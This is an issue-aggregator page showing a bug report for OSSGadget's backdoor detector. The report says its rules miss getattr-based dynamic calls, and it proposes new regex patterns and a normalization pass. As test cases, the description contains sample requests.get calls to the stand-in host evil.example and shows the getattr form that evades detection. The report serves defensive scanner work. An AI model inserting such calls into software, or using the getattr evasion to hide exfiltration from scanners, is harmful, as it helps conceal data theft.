Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

[BUG] BD000700 (and BD000102) miss getattr-based dynamic calls

Open
#539 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
3/5
Estimated time
1-2 days
Newbie friendliness
62/100
Issue type
Bug
Clarity
Mostly clear
Activity status
Active
Tech stack
csharp, python
Domain
devtools, security

Research direction

Start by reading the BD000700 and BD000102 rule definitions and the rule matching path in the C# detector; the payload names data_exfiltration.json and code_execution.json. Then find the existing regression tests for these rules and run them. Add coverage for literal and constant getattr calls, and consider whether to implement the suggested patterns or normalization; done means both rules detect the reported dynamic forms without breaking existing matches.

Written by the indexing model from the issue text.

Description

Case Study

Literal attribute call (detected):

import requests

requests.get("http://evil.example/x")

Detected as: Security.Backdoor.DataExFiltration (rule BD000700, confidence Low).

Semantically identical dynamic dispatch in normal Python code, for example config-driven or plugin-driven code (not detected):

import requests

method = "get"
getattr(requests, method)("http://evil.example/x")

Result: "No tags were found."

Current rules

BD000700 (data_exfiltration.json): pattern is the regex

\.(request|post|get)\(

with scopes ["code","comment"] and confidence low.

BD000102 (code_execution.json): pattern is the string

requests.get

with scope code and confidence medium.

Both are pure text matches. The first requires the byte sequence ".get(" and the second requires "requests.get". Neither sequence exists in getattr(requests, method)(...), so the rules can never fire for a dynamic call. This also fails for the constant form getattr(requests, "get")(...).

Suggested Fix

Add a getattr variant, for example for BD000700:

getattr\s*\(\s*[\w.]+\s*,\s*['"](get|post|request)['"]\s*\)\s*\(

and for BD000102:

getattr\s*\(\s*requests\s*,\s*['"](get|post)['"]\s*\)

A more general fix is a small normalization pass that rewrites constant getattr(mod, "attr") calls to mod.attr (and folds constant attribute names) before rules run. Please add regression tests for both direct and getattr calls.

Reproduction results

Environment: OSSGadget 0.2.38 (ApplicationInspector), .NET 8, Windows.

Commands:

ossgadget detect-backdoor -f text ./ori
ossgadget detect-backdoor -f text ./adv

Results:

ori: Security.Backdoor.DataExFiltration (Low)
adv: No tags were found.

Attachments: ori.py, adv.py

adv.py
ori.py

Dominant language
C#
Stars
372
Forks
57
PR merge metrics
No merged PRs in 30d

Getting set up

Open in Codespaces

Starts the project's dev container in your browser, under your own GitHub account.

  • Ships a Dockerfile or Docker Compose file
  • No pull request template
  • No contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from microsoft/OSSGadget

All issues in microsoft/OSSGadget

Similar issues

More C# issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.